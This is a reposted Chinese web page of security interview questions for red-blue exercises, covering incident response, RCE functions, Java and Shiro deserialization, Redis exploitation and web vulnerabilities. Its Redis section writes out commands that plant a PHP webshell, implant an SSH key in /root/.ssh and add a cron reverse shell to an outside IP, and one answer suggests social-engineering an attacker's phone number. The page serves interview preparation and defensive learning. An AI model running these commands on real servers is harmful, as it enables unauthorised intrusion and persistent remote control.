HW中常见的面试题

1.说说你在工作中或者SRC中挖到的比较典型的漏洞?

2.HW中如果已经发现红方IP地址,该如何溯源?

通过蜜罐系统或者安全设备锁定红方MAC,然后通过IP地址对,whois查询到该IP注册人以及注册邮箱,如果是发现邮箱是某厂商注册则可利用社工方式获得其手机号码,通过获得的邮箱、手机号码我们可以使用REG007平台查询当前邮箱或者手机号码注册过的网站,进而对注册过的网站继续进行溯源找到 更多有用信息。

1)针对IP通过威胁情报分析平台进行信息收集+开放端口分析查询

2)获取到真实IP地址后进行定位查询

3)通过得到的ID进行信息收集

3. 说说HVV中该如何做应急响应

1) 首先确定攻击类型,然后定位到被攻击的服务器

2) 登录服务器查看是否存在可疑账号或隐藏账号

3) 查看服务器是否使用弱口令
4) 查看日志是否存在可疑行为

5) 查看是否存在高危端口或者可疑端口,查看是否有可疑进程开放。

6) 查看开机启动项、定时任务
7) 使用杀毒软件进行病毒查杀

4. Linux中挖矿后该如何做应急响应?

挖矿明显的特征是CPU占用率会很高,首先查看是否存在占用率很高的进程,找到该进程物理位置,

5.内网服务器被上传webshell,你是如何做应急响应的?
1) 首先定位到被上传webshell的服务器,登录服务器查看是否是否开放了可疑端口或者有可疑进程, 如果发现可疑进程,找到进程具体位置下载到本地进行分析或者直接丢到沙箱中检测。

2) 查看服务器是否添加了新用户或者隐藏用户,D盾查看隐藏账号、查看注册表中路径

HKEY_LOCAL_MACHINE --SAM–SAM,对照其他服务器中注册表中信息)

3) 检查日志查看是否有可疑行为

4) 查看计划任务或者开机启动项
5) 使用webshell安全工具进行查杀(D盾、安全狗、百度、河马)

6.RCE漏洞

1)、概述

RCE又称远程代码执行漏洞或者远程命令执行漏洞,即就是攻击者输入的字符串被当作代码或者命令被执行;服务器没有对执行命令的函数做严格的过滤,最终导致代码或命令被执行。

远程代码执行、远程命令执行区别:

一个执行脚本代码一个执行系统命令;

2)、常见的命令执行函数

system():能将字符串作为OS命令执行,且返回命令执行结果;

exec():能将字符串作为os命令执行,只返回结果的最后一行(约等于无回显)

shell_exec()

pcntl_exec()

proc_popen()

passthru()

使用system()函数执行Windows系统下的ping命令:

<?php
system("ping www.baidu.com");
?>

结果如图所示:

代码执行函数

eval():将字符串作为php代码执行。

assert():将字符串作为PHP代码执行

preg_replace()

creat_function()

arrar_map()

call_user_func()

call_user_func_array()

array_filter()

uasort()

使用eval()函数执行PHP代码中的phpinfo()函数:

<?php
eval("phpinfo();");
?>

7. 说说java反序列化

序列化和反序列化相当于编码和解码的一个过程,产生漏洞的原因就在于反序列化时unserialize()函数中 传参用户可控,或者使用了某些魔术方法(construct()、wakeup()、__destruct())造成魔术方法用户 可控。用户输入的数据过滤不严格。

一般反序列化需要白盒审计才能发现,黑盒几乎都是用自动化工具进行扫描。

java序列化指将java对象转化成字符串的过程,序列化后的字符串可以保存在文件、数据库中;而java反序列化指把字符串恢复为java对象

序列化和反序列化通过ObjectinputStream.readObject()和ObjectOutputStream.writeObject()方法实现

在java中,任何类如果想要序列化必须实现java.io.serialiable接口,这是一个空接口,java中该接口的唯一作用是对一个类做一个标记,让jre确认这个类是可以序列化的。

java反序列化漏洞依赖两个因素:

1)、应用中是否有反序列化借口

2)、应用中是否包含漏洞的组建

2. Shiro反序列化和反序列化有了解吗?

Apache shiro是一个java安全框架,执行身份验证,授权,密码和会话管理,1.2.4以前的版本存在反序列化漏洞

漏洞原理:

Apache shiro框架提供了一个记住我的功能,这个功能在用户登录成功后,会生成加密后的cookie,其中记住我的RememberMe就是cookie中的key,cookie的值是相关信息经过序列化在进行aes加密,在使用base64编码之后形成。

服务端接受cookie值,也是按照以下步骤解析

1)、检索RememberMe cookie的值

2)、base64解码

3)、使用aes解码(加密密钥硬编码)

4)、进行反序列化操作(未做过滤处理) 在调用反序列时未进行任何过滤,导致出发远程代码执行

漏洞风险:

攻击者使用shiro默认的密钥构造恶意序列化对象进行编码,来伪造用户的cookie,服务器反序列化时出发漏洞,从而执行命令

漏洞复现:

登录的反回报存在"set-cookie: rememberMe=deleteMe;" 。

使用shiro_tools,成功

修复建议:

1、使用最新的shiro

2、确保密钥的安全性,不使用公开的密钥

8. 说说XXE漏洞 xml外部实体化注入

9. Linux中查看进程的命令? Ps top

10. Redis Getshell的几种方法?

redis是一种开源的数据存储系统,可用作数据库,中间件,

1)、redis未授权访问漏洞,会绑定在0.0.0.0:6379,若未采用相关的策略,会将redis服务暴露在公网,且redis默认空密码连接,命令:redis-cli -h ip ,连接成功后,使用ping命令验证,返回PONG则说明Redis服务开启,info:查看各种信息

2)若Redis端口更改,在Linux 操作系统下:使用ps命令查看当前正在运行的进程:ps -ef |grep redis-server,若输出reids一些信息则说明redis服务开启;若在window操作系统下,直接打开任务管理器,查看进程,找redis-server.exe。若存在则说明redis服务开启。

redis写入shell

1)、在通过redis未授权,通过redis连接系统,若存在web服务,知道web服务路径,在该路径下存在增删改查等权限,则通过redis直接写入

原理:redis为了持久化连接,将数据保存至本地,通过写入一句话木马放入web目录下,实现webshell

config set dir /var/www.html/	// 切换到网站目录
config set dbfilename zcc.php	// 在磁盘中生成木马文件
set xxx "\n\n\n<?php @eal($_POST['zcc']);?>\n\n\n"    //写入恶意代码到内存中,这里的\n\n\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行.
save    //将内存中的数据导出到磁盘

2)、redis写入SSH公匙登录

原理:在数据库中插入一条数据,将本级的公匙作为value(键值),key(键名)值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存到文件里,这样就可以在服务端的/root/.shh下生成一个授权的key

利用条件:

1)、redis服务使用root账号启动,拥有root权限

2)、能成功连接redis

3)、服务器开启SSH服务,且允许密钥登录,将密钥等配置信息放在/root/.ssh目录,即可远程写入一个公匙,直接登录远程服务器,攻击机上创建ssh-rsa密钥,也就是生成key,这里密码设置空,其余默认

ssh-keygen -t rsa
config set dir /root/.ssh/
config set dbfilename authorized_keys# set x "\n\n\n公钥\n\n\n",将公钥写入x键。前后用\n换行,避免和Redis里其他缓存数据混合
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCiRdspB+toUvUw1pvmizU3XUk9tEF8Dvu/u2Ro9wOYlFWL+JsEI8IWbnQY8YenPZStJMQGu0onJML+fM475Prd6llv3gOZL45P07Xv03MqVcrU0BrFxmtXd9fr91Sl5kPNME9A2LrfmWszkELGDn+RJPSTGXvB8yKTJ2TjwP2Bn6RbVCtOpX3bkaCFja4MvjxeDat0yYFRw9SOUE1UEU3jsX0jvIjhjDlcOhOtsHgB3rCyN+U6sY8T9IzmFaw7BjufHEpTiErx5NDOW/FjQsEuX2eCX6w3RxCdso1oceVhG+5VbsorEi01ddSEGubK4ZvMB0/kwJu0e1dozaJZOIKxxxx7zhdVjHb0zJQzbqqzwbMe54dsGerQA1BCnLF/axmt13BNZKXgBIcaxtPx7Ik7ekigjn/T6ldlguZXUup+yI8g8nzJEkI6PFNc+UYl+SY1cqpCmPQv2CGP8FcD++VBmxf0hh8AzO4jdbfZZIqpBqqhtVKeHLXMcV7OXCFM= red@sxxc\n\n\n"
save

3)、写入计划任务反弹shell

原理:在数据库中插入一条数据,将计划任务内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务端成功写入一个计划任务成功反弹shell。

set x "\n\n*/1 * * * * bash -i >& /dev/tcp/43.xx.x7/8089 0>&1\n\n"  //\n为换行符,此处一定要加\n,这样反弹shell语句与其他乱码语句就会分隔开不在同一行,这样才能成功反弹shell
config setdir /var/spool/cron
config set dbfilename root
save

11. SQL注入的几种类型?

Get注入、Post注入、Cookie注入、HTTP注入、盲注、报错注入、宽字节注入、联合查 询注入、堆叠注入

12. CSRF、XSS 及 XXE和SSRF 有什么区别,以及修复方式?
xSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等 攻击。修复方式:对字符实体进行转义、使用 HTTP Only 来禁 JavaScript 读取 Cookie 值、输 入时校验、浏览器与 Web 应用端采用相同的字符编码。
CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作 执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer。
XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远 程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML 解析库在调用 时严格禁止对外部实体的解析。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/759884.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringBoot-03 | SpringBoot自动配置

SpringBoot-03 | SpringBoot自动配置 原理分析代码示例源码剖析SpringBootConfiguration&#xff1a;组合注解&#xff0c;标记当前类为配置类ComponentScanEnableAutoConfigurationImport加载spring.factoriesrun初始化加载spring.factoriesspring.factories中的钩子类 网上盗…

部署DiffSynth-Studio实现视频风格转换

DiffSynth 是一个新的 Diffusion 引擎&#xff0c;可以实现图片和视频的风格转换。 拉取源码 git clone https://github.com/Artiprocher/DiffSynth-Studio/ 创建环境 conda env create -f environment.yml conda activate DiffSynthStudio 下载模型 将Stable Diffusion模…

组织学习的革命:打破常规,引领未来

组织学习的革命&#xff1a;打破常规&#xff0c;引领未来 一、组织学习的重塑&#xff1a;从传统到现代的转变 在知识经济的时代背景下&#xff0c;组织学习已经成为企业持续发展和竞争优势的关键。传统的组织学习方式&#xff0c;如培训、研讨会等&#xff0c;虽然在一定程…

NeRF——基于神经辐射场的三维场景重建和理解

概述 三维重建是一种将物理世界中的实体转换为数字模型的计算机技术。其基本概念是通过对物理世界中的物体或场景进行扫描或拍摄&#xff0c;并使用计算机算法将其转换为三维数字模型。抽象意义上的三维模型指的是&#xff1a;形状和外观的组合&#xff0c;并且可以渲染成不同…

阿里云服务器2核4G服务器收费价格表,1个月和一年报价

阿里云2核4G服务器多少钱一年&#xff1f;2核4G服务器1个月费用多少&#xff1f;2核4G服务器30元3个月、85元一年&#xff0c;轻量应用服务器2核4G4M带宽165元一年&#xff0c;企业用户2核4G5M带宽199元一年。本文阿里云服务器网整理的2核4G参加活动的主机是ECS经济型e实例和u1…

PyTorch学习笔记之激活函数篇(三)

文章目录 3、ReLU3.1 公式3.2 对应的图像3.3 对应的图像的代码3.4 优点与不足3.5 torch.relu()函数 3、ReLU 3.1 公式 ReLU函数的公式&#xff1a; f ( x ) { x , x > 0 0 , x < 0 f(x) \begin{cases} x&,x>0 \\ 0&,x<0 \end{cases} f(x){x0​,x>…

Vue 3响应式系统详解:ref、toRefs、reactive及更多

&#x1f31f; 前言 欢迎来到我的技术小宇宙&#xff01;&#x1f30c; 这里不仅是我记录技术点滴的后花园&#xff0c;也是我分享学习心得和项目经验的乐园。&#x1f4da; 无论你是技术小白还是资深大牛&#xff0c;这里总有一些内容能触动你的好奇心。&#x1f50d; &#x…

为什么延迟删除可以保证MYSQL 与redis的一致性?

看过很多保持MYSQL 与redis保持一致性的文章都提到了延迟删除&#xff0c;其实脱离任何业务场景的设计都是不切实际的&#xff0c;所以我会本着一个通用的读写场景去分析为什么延迟删除大概率可以保证MYSQL与redis的最终一致。 通常的读写场景 通常在使用redis作为读写缓存时…

无人机/飞控--ArduPilot、PX4学习记录(2)

这是一篇碎碎念&#xff0c;零零碎碎的记录了环境配置过程&#xff0c;仅供本人记录学习历程和参考。(记录的挺乱的&#xff0c;但是文章链接里的博客写的是真好) 本章主要完成的目标&#xff1a; 安装PX4 并 成功运行出3D无人机界面。 参考文章&#xff1a; 搭建PX4环境&…

不同的Git仓库单独设置用户名和邮件地址

最近使用公司电脑将自己的一个私人项目推送到远程仓库&#xff0c;仓库显示的公司邮箱地址。因为设置了全局的username和usermail&#xff0c;这样就比较尴尬了。但是又不能频繁来回改用户信息&#xff0c;那么请看下面如何单独设置仓库的用户信息&#xff0c;让不同的仓库展示…

走上管理岗才发现:所谓工作能力强,就一点

走上管理岗才发现&#xff1a;所谓工作能力强&#xff0c;就一点 建立SOP‼️ - 我二本工科&#xff0c;电力专业&#xff0c;从现场工程师到新能源公司核心部门经理&#xff0c;入职公司三个月直接升职加薪。 - 我刚从工程师升至经理带团队的时候&#xff0c;经常靠加班续命&a…

zookeeper底层细节

zk 临时节点和watch机制实现注册中心自动注册和发现&#xff0c;数据都在内存&#xff0c;nio 多线程模型&#xff1b; cp注重一致性&#xff0c;数据不一致时集群不可用 事务请求处理方式 1.all事务由唯一服务器处理 2.将客户端事务请求转成proposal分发follower 3.等待半…

部署单节点k8s并允许master节点调度pod

安装k8s 需要注意的是k8s1.24 已经弃用dockershim&#xff0c;现在使用docker需要cri-docker插件作为垫片&#xff0c;对接k8s的CRI。 硬件环境&#xff1a; 2c2g 主机环境&#xff1a; CentOS Linux release 7.9.2009 (Core) IP地址&#xff1a; 192.168.44.161 一、 主机配…

【spring】@ConditionalOnResource注解学习

ConditionalOnResource 介绍 ConditionalOnResource 是Spring框架中的一个条件化注解&#xff0c;它允许你根据类路径中是否存在指定的资源来决定是否加载特定的Bean定义或配置类。这个注解可以用于类级别或方法级别。 具体Conditional使用请看这篇文章【spring】Conditional…

停车管理系统asp.net+sqlserver

停车管理系统asp.netsqlserver 说明文档 运行前附加数据库.mdf&#xff08;或sql生成数据库&#xff09; 主要技术&#xff1a; 基于asp.net架构和sql server数据库&#xff0c; 功能模块&#xff1a; 停车管理系统asp.net sqlserver 用户功能有菜单列表 我的停车记录 专…

VMWare虚拟机使用openmediavault搭建NAS服务器完整步聚

下载: gopenmediavault - The open network attached storage solution 下载好openmediavault的ISO镜像后,打开虚拟机并安装 系统类型选择Debian 启动虚拟机并安装openmediavault 选择中文 地区选中国 键盘配置选汉语 开始安装 配置网络信息 配置root密码 确认密码 系统安装中…

零基础机器学习(3)之机器学习的一般过程

文章目录 一、机器学习一般过程1.数据获取2.特征提取3.数据预处理①去除唯一属性②缺失值处理A. 均值插补法B. 同类均值插补法 ③重复值处理④异常值⑤数据定量化 4.数据标准化①min-max标准化&#xff08;归一化&#xff09;②z-score标准化&#xff08;规范化&#xff09; 5.…

应用改进SA算法实现MATLAB-HFSS交互仿真与天线优化

应用改进SA算法实现MATLAB-HFSS交互仿真与天线优化 第一章SA算法及其简单应用1.1 SA算法简介1.2 SA算法原理1.2.1 SA算法原理 1.3 Metropolis准则及退火过程中的参数控制1.3.1 Metropolis准则1.3.2退火过程中的参数控制 1.4 SA算法简单应用 第二章 改进SA算法2.1 改进方向2.2 改…

Android Preference简单介绍

Android Preference简单介绍 文章目录 Android Preference简单介绍一、前言二、Preference 简单介绍二、PreferenceScreen和SwitchPreference 简单示例2、相关demo代码示例&#xff08;1&#xff09;SettingsActivity.Java&#xff08;2&#xff09;layout\settings_activity.x…

Qt学习笔记(一)——Qt初识

本文仅是 学习时记录的笔记&#xff0c;供自己复习时使用。 1.创建好文件(QWidget窗口) main.cpp中&#xff1a; 注&#xff1a;Widget类继承父类QWidget. widget.h中&#xff1a; Widget.cpp中&#xff1a; 打开Forms文件夹中的widget.ui文件&#xff1a; 打开左边编辑&am…